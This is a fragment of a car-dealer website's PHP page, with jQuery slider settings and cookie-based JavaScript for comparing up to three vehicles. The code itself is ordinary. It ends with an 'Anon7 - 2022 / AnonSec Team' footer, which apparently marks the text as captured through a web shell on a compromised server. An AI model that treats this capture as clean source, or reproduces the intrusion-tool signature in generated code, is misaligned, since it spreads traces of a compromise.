         infinite: false,
         variableWidth: false,
         autoplaySpeed: 2000,
         responsive: [{
               breakpoint: 991,
               settings: {
                  arrows: false,
                  dots: true,
                  centerMode: true,
                  centerPadding: '0px',
                  infinite: false,
                  slidesToShow: 1,
                  variableWidth: false,
               }
            }, {
               breakpoint: 768,
               settings: {
                  arrows: false,
                  dots: true,
                  centerMode: true,
                  centerPadding: '0px',
                  infinite: false,
                  slidesToShow: 1,
                  variableWidth: false,
               }
            },
            {
               breakpoint: 480,
               settings: {
                  arrows: false,
                  dots: true,
                  centerMode: true,
                  infinite: false,
                  centerPadding: '0px',
                  slidesToShow: 1,
                  variableWidth: false,
               }
            }
         ]
      });
      setTimeout(function() {
         $slider.slick('slickPlay'); // Start autoplay
      }, 3000); // 3-second delay before autoplay starts
      $slider.on('afterChange', function(event, slick, currentSlide) {
         if (currentSlide === slick.$slides.length - 1) {
            setTimeout(function() {
               $slider.slick('slickGoTo', 0); // Jump back to the first slide
            }, 2000); // 2-second delay before resetting
         }
      });
      $('.slick-slider').on('wheel', function(event) {
         event.preventDefault(); // Prevent page scroll

         if (event.originalEvent.deltaY > 0) {
            $slider.slick('slickNext');
         } else {
            $slider.slick('slickPrev');
         }
      });
   })
</script>

<?php
// Check if there's an error message (limit exceeded)
if (isset($_GET['error']) && $_GET['error'] === 'limit_exceeded') {
   session_destroy();
   echo '<p style="color: red;">You can only compare up to three cars.</p>';
}
?>
<!-- <script>
   document.addEventListener("DOMContentLoaded", () => {
      const compareButtons = document.querySelectorAll('.fav1.compare-button');
      const compareCountElement = document.getElementById('compare-count');
      const comparePageButton = document.getElementById('compare-page-button');

      // Initialize compared products from cookies
      let comparedProducts = getCookie('comparedProducts');
      try {
         comparedProducts = comparedProducts ? JSON.parse(decodeURIComponent(comparedProducts)) : [];
      } catch (e) {
         console.error('Error parsing comparedProducts cookie:', e);
         comparedProducts = [];
      }

      if (!Array.isArray(comparedProducts)) {
         comparedProducts = [];
      }

      // console.log('comparedProducts:', comparedProducts);

      // Update initial compare count and button state on page load
      updateCompareButtonState();

      compareButtons.forEach(button => {
         const productId = button.dataset.productId;

         // Check if the product is already in the compare list
         if (comparedProducts.includes(productId)) {
            button.querySelector('i').style.color = 'red';
         }

         button.addEventListener('click', () => {
            if (button.querySelector('i').style.color === 'red') {
               // Button is already selected, remove from compare
               button.querySelector('i').style.color = 'white';

               // Remove product from compare list
               comparedProducts = comparedProducts.filter(id => id !== productId);
            } else {
               // Button is not selected, add to compare
               if (comparedProducts.length >= 3) {
                  alert('You can compare up to 3 products.');
                  return;
               }
               button.querySelector('i').style.color = 'red';

               // Add product to compare list
               comparedProducts.push(productId);
            }

            // Save compared products to cookies
            setCookie('comparedProducts', JSON.stringify(comparedProducts), 30); // 30 days expiration

            // Update compare count and button state in header
            updateCompareButtonState();
         });
      });

      function updateCompareButtonState() {
         compareCountElement.textContent = comparedProducts.length;

         // Enable or disable the compare button based on the number of products in the compare list
         if (comparedProducts.length >= 2) {
            comparePageButton.parentElement.setAttribute('href', 'compare.php');
            comparePageButton.removeAttribute('disabled');
         } else {
            comparePageButton.parentElement.removeAttribute('href');
            comparePageButton.setAttribute('disabled', 'disabled');
         }
      }

      // Function to set a cookie
      function setCookie(name, value, days) {
         let expires = '';
         if (days) {
            let date = new Date();
            date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
            expires = "; expires=" + date.toUTCString();
         }
         document.cookie = name + "=" + (value || "") + expires + "; path=/";
      }

      // Function to get a cookie by name
      function getCookie(name) {
         let nameEQ = name + "=";
         let ca = document.cookie.split(';');
         for (let i = 0; i < ca.length; i++) {
            let c = ca[i];
            while (c.charAt(0) === ' ') {
               c = c.substring(1, c.length);
            }
            if (c.indexOf(nameEQ) === 0) {
               return c.substring(nameEQ.length, c.length);
            }
         }
         return null;
      }
   });
</script> -->
<script>
   document.addEventListener("DOMContentLoaded", () => {
      const compareButtons = document.querySelectorAll('.emibtn.compare-button');
      const compareCountElement = document.getElementById('compare-count');
      const comparePageButton = document.getElementById('compare-page-button');

      // Initialize compared products from cookies
      let comparedProducts = getCookie('comparedProducts');
      try {
         comparedProducts = comparedProducts ? JSON.parse(decodeURIComponent(comparedProducts)) : [];
      } catch (e) {
         console.error('Error parsing comparedProducts cookie:', e);
         comparedProducts = [];
      }

      if (!Array.isArray(comparedProducts)) {
         comparedProducts = [];
      }

      // console.log('comparedProducts:', comparedProducts);

      // Update initial compare count and button state on page load
      updateCompareButtonState();

      compareButtons.forEach(button => {
         const productId = button.dataset.productId;

         button.addEventListener('click', () => {
            if (comparedProducts.includes(productId)) {
               // Remove product from compare list
               comparedProducts = comparedProducts.filter(id => id !== productId);
            } else {
               // Add product to compare list
               if (comparedProducts.length >= 3) {
                  alert('You can compare up to 3 products.');
                  return;
               }
               comparedProducts.push(productId);
            }

            // Save compared products to cookies
            setCookie('comparedProducts', JSON.stringify(comparedProducts), 30); // 30 days expiration

            location.reload();
            // Update compare count and button state in header
            updateCompareButtonState();
         });
      });

      function updateCompareButtonState() {
         compareCountElement.textContent = comparedProducts.length;

         // Enable or disable the compare button based on the number of products in the compare list
         if (comparedProducts.length >= 2) {
            comparePageButton.parentElement.setAttribute('href', '<?= MAIN_DIR ?>compare.php');
            comparePageButton.removeAttribute('disabled');
         } else {
            comparePageButton.parentElement.removeAttribute('href');
            comparePageButton.setAttribute('disabled', 'disabled');
         }
      }

      // Function to set a cookie
      function setCookie(name, value, days) {
         let expires = '';
         if (days) {
            let date = new Date();
            date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
            expires = "; expires=" + date.toUTCString();
         }
         document.cookie = name + "=" + (value || "") + expires + "; path=/";
      }

      // Function to get a cookie by name
      function getCookie(name) {
         let nameEQ = name + "=";
         let ca = document.cookie.split(';');
         for (let i = 0; i < ca.length; i++) {
            let c = ca[i];
            while (c.charAt(0) === ' ') {
               c = c.substring(1, c.length);
            }
            if (c.indexOf(nameEQ) === 0) {
               return c.substring(nameEQ.length, c.length);
            }
         }
         return null;
      }
   });
</script>

Anon7 - 2022
AnonSec Team